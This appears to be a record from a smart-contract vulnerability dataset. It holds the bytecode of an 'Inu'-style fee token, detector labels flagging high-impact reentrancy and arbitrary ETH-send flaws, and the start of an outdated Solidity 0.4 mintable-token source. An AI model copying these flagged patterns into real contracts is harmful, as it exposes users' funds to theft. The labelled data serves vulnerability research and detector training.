0x6080604052600436106101395760003560e01c80638c0b5e22116100ab578063c3c8cd801161006f578063c3c8cd8014610411578063c9567bf914610428578063d543dbeb1461043f578063dd62ed3e14610468578063e8078d94146104a5578063ec28438a146104bc57610140565b80638c0b5e221461032a5780638da5cb5b1461035557806395d89b4114610380578063a9059cbb146103ab578063acaf4a80146103e857610140565b8063313ce567116100fd578063313ce5671461024057806356c2c6be1461026b5780636fc3eaec14610294578063704fbfe5146102ab57806370a08231146102d6578063715018a61461031357610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad5780631b2773c2146101d857806323b872dd1461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104e5565b6040516101679190612e5d565b60405180910390f35b34801561017c57600080fd5b506101976004803603810190610192919061297b565b610522565b6040516101a49190612e42565b60405180910390f35b3480156101b957600080fd5b506101c2610540565b6040516101cf919061303f565b60405180910390f35b3480156101e457600080fd5b506101ed610551565b6040516101fa9190612e42565b60405180910390f35b34801561020f57600080fd5b5061022a6004803603810190610225919061292c565b610568565b6040516102379190612e42565b60405180910390f35b34801561024c57600080fd5b50610255610641565b60405161026291906130b4565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d91906129b7565b61064a565b005b3480156102a057600080fd5b506102a96106fc565b005b3480156102b757600080fd5b506102c061076e565b6040516102cd9190612e42565b60405180910390f35b3480156102e257600080fd5b506102fd60048036038101906102f8919061289e565b610785565b60405161030a919061303f565b60405180910390f35b34801561031f57600080fd5b506103286107d6565b005b34801561033657600080fd5b5061033f610929565b60405161034c919061303f565b60405180910390f35b34801561036157600080fd5b5061036a610933565b6040516103779190612d74565b60405180910390f35b34801561038c57600080fd5b5061039561095c565b6040516103a29190612e5d565b60405180910390f35b3480156103b757600080fd5b506103d260048036038101906103cd919061297b565b610999565b6040516103df9190612e42565b60405180910390f35b3480156103f457600080fd5b5061040f600480360381019061040a91906129b7565b6109b7565b005b34801561041d57600080fd5b50610426610a69565b005b34801561043457600080fd5b5061043d610ae3565b005b34801561044b57600080fd5b5061046660048036038101906104619190612a09565b610b95565b005b34801561047457600080fd5b5061048f600480360381019061048a91906128f0565b610cde565b60405161049c919061303f565b60405180910390f35b3480156104b157600080fd5b506104ba610d65565b005b3480156104c857600080fd5b506104e360048036038101906104de9190612a09565b6112a6565b005b60606040518060400160405280600881526020017f4d75737562496e75000000000000000000000000000000000000000000000000815250905090565b600061053661052f6113c1565b84846113c9565b6001905092915050565b6000683635c9adc5dea00000905090565b6000601060179054906101000a900460ff16905090565b6000610575848484611594565b610636846105816113c1565b610631856040518060600160405280602881526020016136f660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105e76113c1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2f9092919063ffffffff16565b6113c9565b600190509392505050565b60006009905090565b6106526113c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d690612f5f565b60405180910390fd5b80601060166101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661073d6113c1565b73ffffffffffffffffffffffffffffffffffffffff161461075d57600080fd5b600047905061076b81611c93565b50565b6000601060169054906101000a900460ff16905090565b60006107cf600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8e565b9050919050565b6107de6113c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086290612f5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000601154905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4d55535542494e55000000000000000000000000000000000000000000000000815250905090565b60006109ad6109a66113c1565b8484611594565b6001905092915050565b6109bf6113c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390612f5f565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610aaa6113c1565b73ffffffffffffffffffffffffffffffffffffffff1614610aca57600080fd5b6000610ad530610785565b9050610ae081611dfc565b50565b610aeb6113c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6f90612f5f565b60405180910390fd5b6001601060146101000a81548160ff021916908315150217905550565b610b9d6113c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2190612f5f565b60405180910390fd5b60008111610c6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6490612eff565b60405180910390fd5b610c9c6064610c8e83683635c9adc5dea000006120f690919063ffffffff16565b61217190919063ffffffff16565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601154604051610cd3919061303f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d6d6113c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df190612f5f565b60405180910390fd5b601060149054906101000a900460ff1615610e4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4190612fff565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610eda30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006113c9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f2057600080fd5b505afa158015610f34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5891906128c7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fba57600080fd5b505afa158015610fce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff291906128c7565b6040518363ffffffff1660e01b815260040161100f929190612d8f565b602060405180830381600087803b15801561102957600080fd5b505af115801561103d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106191906128c7565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110ea30610785565b6000806110f5610933565b426040518863ffffffff1660e01b815260040161111796959493929190612de1565b6060604051808303818588803b15801561113057600080fd5b505af1158015611144573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111699190612a32565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550671bc16d674ec80000601181905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611250929190612db8565b602060405180830381600087803b15801561126a57600080fd5b505af115801561127e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a291906129e0565b5050565b6112ae6113c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461133b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133290612f5f565b60405180910390fd5b6000811161137e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137590612eff565b60405180910390fd5b806011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6011546040516113b6919061303f565b60405180910390a150565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611439576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143090612fbf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a090612ebf565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611587919061303f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fb90612f9f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611674576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166b90612e7f565b60405180910390fd5b600081116116b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ae90612f7f565b60405180910390fd5b6116bf610933565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172d57506116fd610933565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6c57601154811115611777576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176e90612fdf565b60405180910390fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118225750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118785750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118905750601060169054906101000a900460ff165b156119b657601060149054906101000a900460ff166118e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118db9061301f565b60405180910390fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611965576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195c90612f1f565b60405180910390fd5b601e426119729190613124565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006119c130610785565b9050601060159054906101000a900460ff16158015611a2e5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a465750601060149054906101000a900460ff165b15611b6a576729a2241af62c0000821115611a6057600080fd5b601060179054906101000a900460ff1615611b475742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611af6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aed90612f1f565b60405180910390fd5b605a42611b039190613124565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611b5081611dfc565b60004790506000811115611b6857611b6747611c93565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c135750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1d57600090505b611c29848484846121bb565b50505050565b6000838311158290611c77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6e9190612e5d565b60405180910390fd5b5060008385611c869190613205565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce360028461217190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d0e573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d5f60028461217190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8a573d6000803e3d6000fd5b5050565b6000600754821115611dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcc90612e9f565b60405180910390fd5b6000611ddf6121e8565b9050611df4818461217190919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e885781602001602082028036833780820191505090505b5090503081600081518110611ec6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6857600080fd5b505afa158015611f7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa091906128c7565b81600181518110611fda577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204130600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113c9565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a595949392919061305a565b600060405180830381600087803b1580156120bf57600080fd5b505af11580156120d3573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b600080831415612109576000905061216b565b6000828461211791906131ab565b9050828482612126919061317a565b14612166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215d90612f3f565b60405180910390fd5b809150505b92915050565b60006121b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612213565b905092915050565b806121c9576121c8612276565b5b6121d48484846122b9565b806121e2576121e1612484565b5b50505050565b60008060006121f5612498565b9150915061220c818361217190919063ffffffff16565b9250505090565b6000808311829061225a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122519190612e5d565b60405180910390fd5b5060008385612269919061317a565b9050809150509392505050565b600060095414801561228a57506000600a54145b15612294576122b7565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b6000806000806000806122cb876124fa565b95509550955095509550955061232986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461256290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123be85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ac90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061240a8161260a565b61241484836126c7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612471919061303f565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b600080600060075490506000683635c9adc5dea0000090506124ce683635c9adc5dea0000060075461217190919063ffffffff16565b8210156124ed57600754683635c9adc5dea000009350935050506124f6565b81819350935050505b9091565b60008060008060008060008060006125178a600954600a54612701565b92509250925060006125276121e8565b9050600080600061253a8e878787612797565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125a483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c2f565b905092915050565b60008082846125bb9190613124565b905083811015612600576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f790612edf565b60405180910390fd5b8091505092915050565b60006126146121e8565b9050600061262b82846120f690919063ffffffff16565b905061267f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ac90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126dc8260075461256290919063ffffffff16565b6007819055506126f7816008546125ac90919063ffffffff16565b6008819055505050565b60008060008061272d606461271f888a6120f690919063ffffffff16565b61217190919063ffffffff16565b905060006127576064612749888b6120f690919063ffffffff16565b61217190919063ffffffff16565b9050600061278082612772858c61256290919063ffffffff16565b61256290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127b085896120f690919063ffffffff16565b905060006127c786896120f690919063ffffffff16565b905060006127de87896120f690919063ffffffff16565b90506000612807826127f9858761256290919063ffffffff16565b61256290919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008135905061282f816136b0565b92915050565b600081519050612844816136b0565b92915050565b600081359050612859816136c7565b92915050565b60008151905061286e816136c7565b92915050565b600081359050612883816136de565b92915050565b600081519050612898816136de565b92915050565b6000602082840312156128b057600080fd5b60006128be84828501612820565b91505092915050565b6000602082840312156128d957600080fd5b60006128e784828501612835565b91505092915050565b6000806040838503121561290357600080fd5b600061291185828601612820565b925050602061292285828601612820565b9150509250929050565b60008060006060848603121561294157600080fd5b600061294f86828701612820565b935050602061296086828701612820565b925050604061297186828701612874565b9150509250925092565b6000806040838503121561298e57600080fd5b600061299c85828601612820565b92505060206129ad85828601612874565b9150509250929050565b6000602082840312156129c957600080fd5b60006129d78482850161284a565b91505092915050565b6000602082840312156129f257600080fd5b6000612a008482850161285f565b91505092915050565b600060208284031215612a1b57600080fd5b6000612a2984828501612874565b91505092915050565b600080600060608486031215612a4757600080fd5b6000612a5586828701612889565b9350506020612a6686828701612889565b9250506040612a7786828701612889565b9150509250925092565b6000612a8d8383612a99565b60208301905092915050565b612aa281613239565b82525050565b612ab181613239565b82525050565b6000612ac2826130df565b612acc8185613102565b9350612ad7836130cf565b8060005b83811015612b08578151612aef8882612a81565b9750612afa836130f5565b925050600181019050612adb565b5085935050505092915050565b612b1e8161324b565b82525050565b612b2d8161328e565b82525050565b6000612b3e826130ea565b612b488185613113565b9350612b588185602086016132a0565b612b6181613331565b840191505092915050565b6000612b79602383613113565b9150612b8482613342565b604082019050919050565b6000612b9c602a83613113565b9150612ba782613391565b604082019050919050565b6000612bbf602283613113565b9150612bca826133e0565b604082019050919050565b6000612be2601b83613113565b9150612bed8261342f565b602082019050919050565b6000612c05601d83613113565b9150612c1082613458565b602082019050919050565b6000612c28602a83613113565b9150612c3382613481565b604082019050919050565b6000612c4b602183613113565b9150612c56826134d0565b604082019050919050565b6000612c6e602083613113565b9150612c798261351f565b602082019050919050565b6000612c91602983613113565b9150612c9c82613548565b604082019050919050565b6000612cb4602583613113565b9150612cbf82613597565b604082019050919050565b6000612cd7602483613113565b9150612ce2826135e6565b604082019050919050565b6000612cfa601083613113565b9150612d0582613635565b602082019050919050565b6000612d1d601783613113565b9150612d288261365e565b602082019050919050565b6000612d40601883613113565b9150612d4b82613687565b602082019050919050565b612d5f81613277565b82525050565b612d6e81613281565b82525050565b6000602082019050612d896000830184612aa8565b92915050565b6000604082019050612da46000830185612aa8565b612db16020830184612aa8565b9392505050565b6000604082019050612dcd6000830185612aa8565b612dda6020830184612d56565b9392505050565b600060c082019050612df66000830189612aa8565b612e036020830188612d56565b612e106040830187612b24565b612e1d6060830186612b24565b612e2a6080830185612aa8565b612e3760a0830184612d56565b979650505050505050565b6000602082019050612e576000830184612b15565b92915050565b60006020820190508181036000830152612e778184612b33565b905092915050565b60006020820190508181036000830152612e9881612b6c565b9050919050565b60006020820190508181036000830152612eb881612b8f565b9050919050565b60006020820190508181036000830152612ed881612bb2565b9050919050565b60006020820190508181036000830152612ef881612bd5565b9050919050565b60006020820190508181036000830152612f1881612bf8565b9050919050565b60006020820190508181036000830152612f3881612c1b565b9050919050565b60006020820190508181036000830152612f5881612c3e565b9050919050565b60006020820190508181036000830152612f7881612c61565b9050919050565b60006020820190508181036000830152612f9881612c84565b9050919050565b60006020820190508181036000830152612fb881612ca7565b9050919050565b60006020820190508181036000830152612fd881612cca565b9050919050565b60006020820190508181036000830152612ff881612ced565b9050919050565b6000602082019050818103600083015261301881612d10565b9050919050565b6000602082019050818103600083015261303881612d33565b9050919050565b60006020820190506130546000830184612d56565b92915050565b600060a08201905061306f6000830188612d56565b61307c6020830187612b24565b818103604083015261308e8186612ab7565b905061309d6060830185612aa8565b6130aa6080830184612d56565b9695505050505050565b60006020820190506130c96000830184612d65565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061312f82613277565b915061313a83613277565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561316f5761316e6132d3565b5b828201905092915050565b600061318582613277565b915061319083613277565b9250826131a05761319f613302565b5b828204905092915050565b60006131b682613277565b91506131c183613277565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fa576131f96132d3565b5b828202905092915050565b600061321082613277565b915061321b83613277565b92508282101561322e5761322d6132d3565b5b828203905092915050565b600061324482613257565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329982613277565b9050919050565b60005b838110156132be5780820151818401526020810190506132a3565b838111156132cd576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f596f7572207472616e73616374696f6e20636f6f6c646f776e20686173206e6f60008201527f7420657870697265642e00000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f546f6f206d616e7920746f6b656e732e00000000000000000000000000000000600082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6136b981613239565b81146136c457600080fd5b50565b6136d08161324b565b81146136db57600080fd5b50565b6136e781613277565b81146136f257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e92c4a418216560cad592454445463cb6763ef27a463888b865b0b0b286c05f764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
4,887
0x3dcd01f5632d14f81d467e9439bd8bee47d1a9bb
pragma solidity ^0.4.16; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. 